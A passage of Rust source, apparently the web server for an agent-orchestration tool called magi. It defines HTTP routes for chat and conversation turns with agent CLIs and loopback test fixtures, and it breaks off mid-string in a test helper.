3473/// The body of `POST /api/chats/{id}/say`.
3474#[derive(Debug, Default, Deserialize)]
3475#[serde(default, deny_unknown_fields)]
3476struct NewTurn {
3477    text: String,
3478}
3479
3480/// `POST /api/chats/{id}/say` - one turn of the interview.
3481///
3482/// The one handler here that is not filesystem work, and therefore the one
3483/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
3484/// of seconds for a paragraph. Sitting on an executor thread for that long
3485/// would starve the change stream of every other connected phone, which is the
3486/// opposite of what `blocking` is for. It holds no lock across the `await`
3487/// either - the turn slot is a set membership, not a mutex guard - so nothing
3488/// else in the server is delayed by a slow interview.
3489///
3490/// What the operator sees while it runs: a request outstanding for the whole
3491/// turn, with no partial output, because the agent CLIs magi drives return one
3492/// answer at the end rather than a stream. On a phone that means the composer
3493/// stays pending for up to the seat's timeout. There is deliberately no
3494/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
3495/// that the turn landed, and it fires from the file `chat::say` wrote, so a
3496/// phone whose radio slept through the reply still learns about it.
3497///
3498/// A failed turn is still a turn. [`chat::say`] records the operator's message
3499/// and an agent turn explaining the failure before it returns an error, so this
3500/// answers 200 with the conversation: that recorded explanation is the thing
3501/// the operator needs to read, and a 5xx would make the front end show a
3502/// generic banner and hide it. The guard against that being a lie is the turn
3503/// count - if the transcript did not grow, nothing happened and the error is
3504/// reported as one.
3505async fn chat_say(
3506    State(ui): State<Arc<Ui>>,
3507    Path(id): Path<String>,
3508    body: std::result::Result<Json<NewTurn>, JsonRejection>,
3509) -> ApiResult<(StatusCode, Json<ChatView>)> {
3510    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3511    if body.text.trim().is_empty() {
3512        return Err(ApiError::bad_request("say something"));
3513    }
3514
3515    let id = {
3516        let ui = Arc::clone(&ui);
3517        let asked = id.clone();
3518        blocking(move || resolve_chat(&ui.chats, &asked)).await?
3519    };
3520    // Claimed before the chat is loaded, so the record this turn appends to was
3521    // read after the claim and cannot be a snapshot another turn has since
3522    // replaced.
3523    let _turn = ui.begin_turn(&id)?;
3524
3525    let (chat, cfg) = {
3526        let ui = Arc::clone(&ui);
3527        let id = id.clone();
3528        blocking(move || {
3529            let chat = ui.chats.get(&id)?;
3530            let (cfg, _) = Config::discover(&chat.repo, None)?;
3531            Ok((chat, cfg))
3532        })
3533        .await?
3534    };
3535
3536    // The operator's turn is recorded, the agent's turn runs in the background,
3537    // and the response goes back now.
3538    //
3539    // This used to hold the HTTP connection for the whole turn - 23 to 90
3540    // seconds against a real model. On a phone that is a coin flip: a screen
3541    // lock or a network handoff drops the request and the browser reports
3542    // "Failed to fetch", while the server finishes the turn and writes it to
3543    // disk. The operator is then told their message failed when it did not,
3544    // which is the worst of both answers. Every other moving part in magi is
3545    // state on disk plus the change stream; this was the one place that
3546    // depended on a connection staying up, and it did not need to.
3547    //
3548    // The turn guard moves into the spawned task, so a second `say` on the
3549    // same chat still gets a 409 while this one is in flight.
3550    let chats = ui.chats.clone();
3551    let text = {
3552        let mut chat = chat.clone();
3553        let chats = chats.clone();
3554        let said = body.text.clone();
3555        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
3556    };
3557    // Re-read so the spawned task appends to the record that now holds the
3558    // operator's turn, rather than to the snapshot taken before it.
3559    let mut chat = {
3560        let ui = Arc::clone(&ui);
3561        let id = id.clone();
3562        blocking(move || Ok(ui.chats.get(&id)?)).await?
3563    };
3564    let thinking = ui.is_thinking(&id);
3565    let queued = ChatView::new(chat.clone(), thinking);
3566    tokio::spawn(async move {
3567        let _turn = _turn;
3568        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3569            // `respond` records the failure in the transcript itself, which is
3570            // what the phone reads; this line is for the operator's terminal.
3571            tracing::warn!("chat {id} turn failed: {e:#}");
3572        }
3573    });
3574
3575    // 202: the operator's message is recorded and a turn is running. The front
3576    // end learns the reply from the change stream, the same way it learns
3577    // everything else.
3578    Ok((StatusCode::ACCEPTED, Json(queued)))
3579}
3580
3581/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
3582#[derive(Debug, Default, Deserialize)]
3583#[serde(default, deny_unknown_fields)]
3584struct FileDraft {
3585    priority: i32,
3586}
3587
3588/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
3589///
3590/// The 400 carries every problem [`chat::draft_problems`] found, as an array
3591/// beside the usual message, because the operator fixing them is on a phone:
3592/// one problem per round trip would mean asking the interviewer to rewrite the
3593/// draft three times for what is one edit.
3594async fn chat_file(
3595    State(ui): State<Arc<Ui>>,
3596    Path(id): Path<String>,
3597    body: std::result::Result<Json<FileDraft>, JsonRejection>,
3598) -> ApiResult<Json<serde_json::Value>> {
3599    // An absent body is the normal case - the front end posts with no content
3600    // type at all - and means the default priority. A body that is present and
3601    // malformed is still a bad request, because silently filing at the wrong
3602    // priority is worse than saying no.
3603    let body = match body {
3604        Ok(Json(body)) => body,
3605        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3606        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3607    };
3608
3609    blocking(move || {
3610        let id = resolve_chat(&ui.chats, &id)?;
3611        let mut chat = ui.chats.get(&id)?;
3612        // Asked before filing so the answer can be the whole list. `file_draft`
3613        // applies the same rule and would refuse too, but only with a flattened
3614        // string, and re-splitting an error message to rebuild the list is the
3615        // kind of thing that breaks the day someone adds a comma.
3616        if let Err(problems) = chat::draft_problems(&chat) {
3617            return Err(ApiError::bad_request_with(
3618                "the draft is not fileable yet",
3619                problems,
3620            ));
3621        }
3622        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3623        Ok(Json(serde_json::json!({ "task": task })))
3624    })
3625    .await
3626}
3627
3628/// Expand an id or short id to exactly one chat id.
3629fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3630    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3631}
3632
3633/// A talk as the phone reads it.
3634///
3635/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3636/// tree per entry of `turns`, in order - the same accommodation
3637/// [`ChatView`] makes so `app.js` never parses markdown itself.
3638#[derive(Debug, Serialize)]
3639struct TalkView {
3640    #[serde(flatten)]
3641    talk: Talk,
3642    turn_bodies_md: Vec<Vec<md::Node>>,
3643}
3644
3645impl From<Talk> for TalkView {
3646    fn from(talk: Talk) -> Self {
3647        let turn_bodies_md = talk
3648            .turns
3649            .iter()
3650            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3651            .collect();
3652        Self {
3653            turn_bodies_md,
3654            talk,
3655        }
3656    }
3657}
3658
3659/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3660/// conversation has filed, so the phone can follow one from inside the
3661/// conversation that asked for it rather than hunting the Queue for a task id
3662/// it may not remember.
3663#[derive(Debug, Serialize)]
3664struct TalkDetailView {
3665    #[serde(flatten)]
3666    view: TalkView,
3667    tasks: Vec<TaskView>,
3668}
3669
3670/// `GET /api/talks`.
3671///
3672/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3673/// own order, the same one [`chats_list`] reports for Planning.
3674async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3675    blocking(move || {
3676        Ok(Json(
3677            ui.talks.list().into_iter().map(TalkView::from).collect(),
3678        ))
3679    })
3680    .await
3681}
3682
3683/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3684/// message, unlike starting a Planning interview. `repo` defaults to the
3685/// server's own; `agent` to `[roles] chatter` (falling back to `[roles]
3686/// planner`), [`talk::begin`]'s own default. Unknown fields are ignored so a
3687/// newer front end still opens a talk against an older binary.
3688#[derive(Debug, Default, Deserialize)]
3689#[serde(default)]
3690struct NewTalk {
3691    agent: Option<String>,
3692    repo: Option<PathBuf>,
3693}
3694
3695/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3696/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3697async fn talk_post(
3698    State(ui): State<Arc<Ui>>,
3699    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3700) -> ApiResult<impl IntoResponse> {
3701    // An absent body, or an empty one, is the normal way to open a talk - see
3702    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3703    // rather than refused, the same accommodation `chat_file` makes.
3704    let body = match body {
3705        Ok(Json(body)) => body,
3706        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3707        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3708    };
3709    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3710    let cfg = config_for(&repo).await?;
3711    let view = blocking(move || {
3712        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3713        Ok(TalkView::from(talk))
3714    })
3715    .await?;
3716    Ok((StatusCode::CREATED, Json(view)))
3717}
3718
3719/// `GET /api/talks/{id}`.
3720async fn talk_detail(
3721    State(ui): State<Arc<Ui>>,
3722    Path(id): Path<String>,
3723) -> ApiResult<Json<TalkDetailView>> {
3724    blocking(move || {
3725        let id = resolve_talk(&ui.talks, &id)?;
3726        let talk = ui.talks.get(&id)?;
3727        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3728            .into_iter()
3729            .map(TaskView::from)
3730            .collect();
3731        Ok(Json(TalkDetailView {
3732            view: TalkView::from(talk),
3733            tasks,
3734        }))
3735    })
3736    .await
3737}
3738
3739/// The body of `POST /api/talks/{id}/say`.
3740#[derive(Debug, Default, Deserialize)]
3741#[serde(default, deny_unknown_fields)]
3742struct NewTalkTurn {
3743    text: String,
3744}
3745
3746/// `POST /api/talks/{id}/say` - one turn of the conversation.
3747///
3748/// The same asynchronous shape as [`chat_say`], for the same reason: this
3749/// route spawns an agent CLI and a turn here can run for the whole of
3750/// [`talk::TURN_TIMEOUT`] - fifteen minutes, three times a planning turn's
3751/// budget, because a research turn is expected to run commands rather than
3752/// answer from what it already knows. Holding an HTTP connection open that
3753/// long is not a thing to ask a phone to do; the operator's message is
3754/// recorded and answered for immediately, and the reply lands in the
3755/// background, discovered through the change stream's `talks_rev` the same
3756/// way every other update on this surface is.
3757async fn talk_say(
3758    State(ui): State<Arc<Ui>>,
3759    Path(id): Path<String>,
3760    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3761) -> ApiResult<(StatusCode, Json<TalkView>)> {
3762    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3763    if body.text.trim().is_empty() {
3764        return Err(ApiError::bad_request("say something"));
3765    }
3766
3767    let id = {
3768        let ui = Arc::clone(&ui);
3769        let asked = id.clone();
3770        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3771    };
3772    // Claimed before the talk is loaded, so the record this turn appends to
3773    // was read after the claim and cannot be a snapshot another turn has
3774    // since replaced - the same ordering `chat_say` relies on.
3775    let _turn = ui.begin_talk_turn(&id)?;
3776
3777    let (talk, cfg) = {
3778        let ui = Arc::clone(&ui);
3779        let id = id.clone();
3780        blocking(move || {
3781            let talk = ui.talks.get(&id)?;
3782            let (cfg, _) = Config::discover(&talk.repo, None)?;
3783            Ok((talk, cfg))
3784        })
3785        .await?
3786    };
3787
3788    let talks = ui.talks.clone();
3789    let text = {
3790        let mut talk = talk.clone();
3791        let talks = talks.clone();
3792        let said = body.text.clone();
3793        blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3794    };
3795    // Re-read so the spawned task appends to the record that now holds the
3796    // operator's turn, rather than to the snapshot taken before it.
3797    let talk = {
3798        let ui = Arc::clone(&ui);
3799        let id = id.clone();
3800        blocking(move || Ok(ui.talks.get(&id)?)).await?
3801    };
3802    let queued = talk.clone();
3803    tokio::spawn(async move {
3804        let _turn = _turn;
3805        let mut talk = talk;
3806        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3807            // `respond` records the failure in the transcript itself, which is
3808            // what the phone reads; this line is for the operator's terminal.
3809            tracing::warn!("talk {id} turn failed: {e:#}");
3810        }
3811    });
3812
3813    // 202: the operator's message is recorded and a turn is running.
3814    Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3815}
3816
3817/// `POST /api/talks/{id}/close`.
3818async fn talk_close(
3819    State(ui): State<Arc<Ui>>,
3820    Path(id): Path<String>,
3821) -> ApiResult<Json<TalkView>> {
3822    blocking(move || {
3823        let id = resolve_talk(&ui.talks, &id)?;
3824        let mut talk = ui.talks.get(&id)?;
3825        talk::close(&mut talk, &ui.talks)?;
3826        Ok(Json(TalkView::from(talk)))
3827    })
3828    .await
3829}
3830
3831/// `POST /api/talks/{id}/reopen`.
3832async fn talk_reopen(
3833    State(ui): State<Arc<Ui>>,
3834    Path(id): Path<String>,
3835) -> ApiResult<Json<TalkView>> {
3836    blocking(move || {
3837        let id = resolve_talk(&ui.talks, &id)?;
3838        let mut talk = ui.talks.get(&id)?;
3839        talk::reopen(&mut talk, &ui.talks)?;
3840        Ok(Json(TalkView::from(talk)))
3841    })
3842    .await
3843}
3844
3845/// `DELETE /api/talks/{id}`.
3846///
3847/// Removes the conversation's record and artifacts outright, unlike
3848/// [`talk_close`] which keeps the record as history. A turn already in
3849/// flight is not refused here the way [`run_delete`] refuses a live run:
3850/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
3851/// under [`Talks::guard`], that the record they are about to write back is
3852/// still there, so a delete racing a turn is safe without this route having
3853/// to know a turn is running at all.
3854async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3855    blocking(move || {
3856        let id = resolve_talk(&ui.talks, &id)?;
3857        ui.talks.remove(&id)?;
3858        Ok(StatusCode::NO_CONTENT)
3859    })
3860    .await
3861}
3862
3863/// Expand an id or short id to exactly one talk id.
3864fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3865    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3866}
3867
3868/// The configuration for a repository, read off the disk for this request.
3869///
3870/// Through [`blocking`] because discovery reads and merges several TOML files,
3871/// and because the alternative - caching it in [`Ui`] at startup - would mean
3872/// the operator's phone kept interviewing with a roster they had already
3873/// changed, with no way to reload it but restarting the server they are not
3874/// sitting in front of.
3875async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3876    let repo = repo.to_path_buf();
3877    blocking(move || {
3878        let (cfg, _) = Config::discover(&repo, None)?;
3879        Ok(cfg)
3880    })
3881    .await
3882}
3883
3884/// The one prefix rule, used for both runs and tasks: a leading match for a
3885/// full id, a trailing match for the short form an operator reads off a
3886/// report. Written here rather than borrowed from `queue::resolve_id` because
3887/// the UI needs the two failures as different status codes, and telling them
3888/// apart from an error message is not something to build a route on.
3889fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3890    let mut hits = ids
3891        .into_iter()
3892        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3893    match (hits.next(), hits.next()) {
3894        (Some(one), None) => Ok(one),
3895        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3896        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3897            "`{prefix}` matches more than one {what}, including {a} and {b}"
3898        ))),
3899    }
3900}
3901
3902#[cfg(test)]
3903mod tests {
3904    use pretty_assertions::assert_eq;
3905    use serde_json::Value;
3906    use tempfile::TempDir;
3907    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3908
3909    use super::*;
3910    use crate::config::Config;
3911    use crate::queue::{Source, TaskStatus};
3912
3913    /// A home with a queue and a runs directory, and a router serving it on
3914    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
3915    /// dependency, not ours - so the tests drive a real socket, which has the
3916    /// side benefit of asserting the status line and content types the phone
3917    /// actually receives.
3918    struct Fixture {
3919        home: TempDir,
3920        addr: SocketAddr,
3921    }
3922
3923    impl Fixture {
3924        async fn start() -> Self {
3925            Self::with_loop(launch_idle).await
3926        }
3927
3928        /// A fixture whose loop is `launch`.
3929        async fn with_loop(launch: Launch) -> Self {
3930            let home = TempDir::new().expect("temp home");
3931            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3932            Self { home, addr }
3933        }
3934
3935        /// A fixture whose `ui.repo` is a real directory rather than the
3936        /// usual placeholder - for the routes that read config off it
3937        /// (`GET /api/repos`) and would otherwise have nothing to discover.
3938        async fn with_repo(repo: PathBuf) -> Self {
3939            let home = TempDir::new().expect("temp home");
3940            let addr = Self::serve(home.path(), repo, launch_idle).await;
3941            Self { home, addr }
3942        }
3943
3944        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3945            let queue = Queue::at(home.join("queue"));
3946            let runs = home.join("runs");
3947            std::fs::create_dir_all(&runs).expect("runs dir");
3948            let worktrees = home.join("wt").join("magi");
3949            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3950            let ui = Ui::new(
3951                queue,
3952                Questions::at(home.join("questions")),
3953                Chats::at(home.join("chats")),
3954                Talks::at(home.join("talks")),
3955                runs,
3956                home.to_path_buf(),
3957                repo,
3958            )
3959            .with_worktrees_root(worktrees)
3960            .with_launch(launch);
3961            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3962                .await
3963                .expect("bind loopback");
3964            let addr = listener.local_addr().expect("local addr");
3965            tokio::spawn(async move {
3966                let _ = axum::serve(listener, ui.router()).await;
3967            });
3968            addr
3969        }
3970
3971        fn queue(&self) -> Queue {
3972            Queue::at(self.home.path().join("queue"))
3973        }
3974
3975        fn questions(&self) -> Questions {
3976            Questions::at(self.home.path().join("questions"))
3977        }
3978
3979        fn chats(&self) -> Chats {
3980            Chats::at(self.home.path().join("chats"))
3981        }
3982
3983        fn talks(&self) -> Talks {
3984            Talks::at(self.home.path().join("talks"))
3985        }
3986
3987        fn runs(&self) -> PathBuf {
3988            self.home.path().join("runs")
3989        }
3990
3991        async fn get(&self, path: &str) -> Res {
3992            request(self.addr, "GET", path, None).await
3993        }
3994
3995        /// The status and headers without the body, which is how the front end
3996        /// preflights a panel: a sandboxed frame is opaque to the parent
3997        /// document, so the only way to tell "no panel" from "a panel that
3998        /// rendered blank" is to ask before mounting.
3999        async fn head(&self, path: &str) -> Res {
4000            request(self.addr, "HEAD", path, None).await
4001        }
4002
4003        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4004            request(self.addr, "POST", path, body).await
4005        }
4006
4007        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4008            request_with(self.addr, "GET", path, None, extra).await
4009        }
4010
4011        async fn delete(&self, path: &str) -> Res {
4012            request(self.addr, "DELETE", path, None).await
4013        }
4014    }
4015
4016    struct Res {
4017        status: u16,
4018        headers: String,
4019        /// The header block with its original casing, for the assertions that
4020        /// compare a header *value* rather than looking for a name. Lowercasing
4021        /// a CSP would hide a directive spelled with a capital letter, and the
4022        /// whole point of that test is that the string is exactly right.
4023        head: String,
4024        body: String,
4025        /// The body before any UTF-8 handling, for the routes that serve
4026        /// something other than text. A panel asset is a PNG as often as not,
4027        /// and `from_utf8_lossy` would silently replace half of it.
4028        bytes: Vec<u8>,
4029    }
4030
4031    impl Res {
4032        fn json(&self) -> Value {
4033            serde_json::from_str(&self.body)
4034                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4035        }
4036
4037        /// One header's value verbatim, or `None` when it was not sent.
4038        fn header(&self, name: &str) -> Option<&str> {
4039            self.head.lines().find_map(|line| {
4040                let (key, value) = line.split_once(':')?;
4041                key.trim()
4042                    .eq_ignore_ascii_case(name)
4043                    .then(|| value.trim_start().trim_end_matches('\r'))
4044            })
4045        }
4046    }
4047
4048    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4049    /// be read to end-of-stream without parsing framing.
4050    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4051        request_with(addr, method, path, body, &[]).await
4052    }
4053
4054    /// As [`request`], with extra request headers - conditional GETs need
4055    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4056    /// worse than one that sets none.
4057    async fn request_with(
4058        addr: SocketAddr,
4059        method: &str,
4060        path: &str,
4061        body: Option<&str>,
4062        extra: &[(&str, &str)],
4063    ) -> Res {
4064        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4065        for (name, value) in extra {
4066            head.push_str(&format!("{name}: {value}\r\n"));
4067        }
4068        if let Some(body) = body {
4069            head.push_str("Content-Type: application/json\r\n");
4070            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4071        }
4072        head.push_str("\r\n");
4073        if let Some(body) = body {
4074            head.push_str(body);
4075        }
4076        let mut socket = tokio::net::TcpStream::connect(addr)
4077            .await
4078            .expect("connect to the test server");
4079        socket
4080            .write_all(head.as_bytes())
4081            .await
4082            .expect("write request");
4083        let mut raw = Vec::new();
4084        socket.read_to_end(&mut raw).await.expect("read response");
4085        // Split on the raw bytes rather than on a lossy string, so a binary
4086        // body survives to be compared byte for byte.
4087        let split = raw
4088            .windows(4)
4089            .position(|w| w == b"\r\n\r\n")
4090            .expect("a header block");
4091        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4092        let bytes = raw[split + 4..].to_vec();
4093        let status = head
4094            .lines()
4095            .next()
4096            .and_then(|line| line.split_whitespace().nth(1))
4097            .and_then(|code| code.parse().ok())
4098            .expect("a status line");
4099        Res {
4100            status,
4101            headers: head.to_lowercase(),
4102            head,
4103            body: String::from_utf8_lossy(&bytes).into_owned(),
4104            bytes,
4105        }
4106    }
4107
4108    /// A run on disk, without touching the process-global magi home.
4109    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4110        let mut state = RunState::new(
4111            PathBuf::from("/repo/magi"),
4112            "main".to_owned(),
4113            "0123456789abcdef".to_owned(),
4114            "Add a web UI\n\nMobile first.".to_owned(),
4115            Config::default(),
4116        );
4117        state.id = id.to_owned();
4118        state.status = status;
4119        let dir = runs.join(id);
4120        std::fs::create_dir_all(&dir).expect("run dir");
4121        std::fs::write(
4122            dir.join("run.json"),
4123            serde_json::to_string_pretty(&state).expect("serialize run"),
4124        )
4125        .expect("write run.json");
4126    }
4127
4128    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4129        let body = serde_json::json!({
4130            "schema": 1,
4131            "pid": 4242,
4132            "started_at": Timestamp::now().to_string(),
4133            "updated_at": updated_at.to_string(),
4134            "idle": false,
4135            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4136            "completed": 7,
4137            "polls": 143,
4138        });
4139        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4140    }
4141
4142    /// A loop that starts, finds nothing to do, and waits to be told to stop.
4143    ///
4144    /// No test in this file may start the real loop - see [`Ui::launch`] for
4145    /// why - so this stands in for the only thing the routes need a loop to
4146    /// do: keep running until `Stop` is set, then return. A real
4147    /// `serve_until` here would resolve its queue and its status file through
4148    /// the process-global magi home, claim whatever it found in the
4149    /// operator's live backlog, overwrite the status file of the `magi serve`
4150    /// that owns it, and spend real agent quota on a real competition.
4151    fn launch_idle(
4152        _opts: daemon::Opts,
4153        stop: daemon::Stop,
4154    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4155        Box::pin(async move {
4156            while !stop.stopped() {
4157                tokio::time::sleep(Duration::from_millis(2)).await;
4158            }
4159            Ok(())
4160        })
4161    }
4162
4163    /// A loop that fails on the way up, the way one whose home has gone
4164    /// read-only does.
4165    fn launch_broken(
4166        _opts: daemon::Opts,
4167        _stop: daemon::Stop,
4168    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4169        Box::pin(async {
4170            Err(anyhow::anyhow!(
4171                "publish the daemon status file: read-only file system"
4172            ))
4173        })
4174    }
4175
4176    /// The address the parking loop knocks on, and what it heard there.
4177    ///
4178    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
4179    /// capture a fixture's address; this is how it is handed one. Only
4180    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
4181    /// these, so nothing else in this binary can race them.
4182    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4183    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4184
4185    /// A loop that, once it is asked to stop, checks the deck still answers
4186    /// before it goes.
4187    ///
4188    /// It stands in for a run mid-node: `finish_loop` waits for this future,
4189    /// so the request it makes is strictly inside the park window - no sleep
4190    /// and no polling needed to be sure of that.
4191    fn launch_knocking_on_the_way_out(
4192        _opts: daemon::Opts,
4193        stop: daemon::Stop,
4194    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4195        Box::pin(async move {
4196            while !stop.stopped() {
4197                tokio::time::sleep(Duration::from_millis(2)).await;
4198            }
4199            let addr = PARK_KNOCK
4200                .lock()
4201                .expect("park knock")
4202                .expect("the test set an address");
4203            let heard = request(addr, "GET", "/api/health", None).await.status;
4204            *PARK_HEARD.lock().expect("park heard") = Some(heard);
4205            Ok(())
4206        })
4207    }
4208
4209    /// The loop view once `want` accepts it.
4210    ///
4211    /// Polled rather than asserted straight after the POST because stopping
4212    /// is deliberately not instant - that is the contract - and rather than
4213    /// slept through because a fixed wait is either flaky or slow. Two
4214    /// seconds is far longer than a stand-in loop needs and still finite, so
4215    /// a genuine hang fails the test instead of hanging the suite.
4216    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4217        for _ in 0..200 {
4218            let view = fx.get("/api/loop").await.json();
4219            if want(&view) {
4220                return view;
4221            }
4222            tokio::time::sleep(Duration::from_millis(10)).await;
4223        }
4224        panic!(
4225            "the loop never settled: {}",
4226            fx.get("/api/loop").await.json()
4227        );
4228    }
4229
4230    /// File an open question directly in the store the server reads.
4231    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4232        let store = fx.questions();
4233        let mut q = Question::new(
4234            "20260902-000000-beef".to_owned(),
4235            "implement".to_owned(),
4236            "impl-A".to_owned(),
4237            summary.to_owned(),
4238            "because it matters".to_owned(),
4239            choices.iter().map(|c| (*c).to_owned()).collect(),
4240        );
4241        store.put(&mut q).expect("put question");
4242        q.id
4243    }
4244
4245    /// A question with a panel the server can serve, plus the named assets.
4246    ///
4247    /// Written through `Questions::put_panel` rather than by laying out the
4248    /// directory here, so these tests exercise the same on-disk shape the
4249    /// agents produce and cannot pass against a layout only the tests know.
4250    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4251        let store = fx.questions();
4252        let mut q = Question::new(
4253            "20260902-000000-beef".to_owned(),
4254            "land".to_owned(),
4255            "fix".to_owned(),
4256            "Merge this?".to_owned(),
4257            "the diff is in the panel".to_owned(),
4258            vec!["merge".to_owned(), "hold".to_owned()],
4259        );
4260        // Staged outside the questions root, because `put_panel` copies from
4261        // wherever the agent left its files.
4262        let staging = fx.home.path().join("staging");
4263        std::fs::create_dir_all(&staging).expect("staging dir");
4264        let sources: Vec<PathBuf> = assets
4265            .iter()
4266            .map(|(name, bytes)| {
4267                let path = staging.join(name);
4268                std::fs::write(&path, bytes).expect("write staged asset");
4269                path
4270            })
4271            .collect();
4272        store
4273            .put_panel(&mut q, html, &sources)
4274            .expect("write the panel");
4275        store.put(&mut q).expect("put question");
4276        q.id
4277    }
4278
4279    /// An interview on disk, without talking to a model.
4280    ///
4281    /// Written as JSON straight into the store the server reads, because the
4282    /// only constructor `chat` offers spawns an agent CLI. The one thing this
4283    /// cannot make up is the seat, so it is built with the real
4284    /// `SeatState::new` and serialized - the alternative, hand-writing that
4285    /// object, would make these tests fail the day the seat gains a field.
4286    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
4287        let store = fx.chats();
4288        std::fs::create_dir_all(store.root()).expect("chats dir");
4289        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
4290            .expect("serialize a seat");
4291        let body = serde_json::json!({
4292            "schema": 1,
4293            "id": id,
4294            "repo": "/repo/magi",
4295            "agent": "sonnet",
4296            "status": status,
4297            "turns": [
4298                { "who": "operator", "body": "rework the config loader",
4299                  "at": Timestamp::now().to_string() },
4300                { "who": "agent", "body": "Which part is hurting?",
4301                  "at": Timestamp::now().to_string() },
4302            ],
4303            "draft": draft,
4304            "task": Value::Null,
4305            "created_at": Timestamp::now().to_string(),
4306            "updated_at": Timestamp::now().to_string(),
4307            "seat": seat,
4308        });
4309        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
4310        // A chat the server cannot parse would make every assertion below a
4311        // 500 that says nothing about the route under test.
4312        store.get(id).expect("the seeded chat has to be readable");
4313        id.to_owned()
4314    }
4315
4316    /// A talk on disk, without talking to a model. Mirrors [`interview`] for
4317    /// `talk::Talk`.
4318    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4319        let store = fx.talks();
4320        std::fs::create_dir_all(store.root()).expect("talks dir");
4321        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4322            .expect("serialize a seat");
4323        let body = serde_json::json!({
4324            "schema": 1,
4325            "id": id,
4326            "repo": "/repo/magi",
4327            "agent": "mock",
4328            "status": status,
4329            "turns": [],
4330            "created_at": Timestamp::now().to_string(),
4331            "updated_at": Timestamp::now().to_string(),
4332            "seat": seat,
4333        });
4334        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4335        store.get(id).expect("the seeded talk has to be readable");
4336        id.to_owned()
4337    }
4338
4339    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
4340    /// something to accept.
4341    fn good_draft() -> String {
4342        "# Rework the config loader\n\n\
4343         ## Why\n\n\
4344         It re-reads `magi.toml` on every lookup, so a run that asks for the \
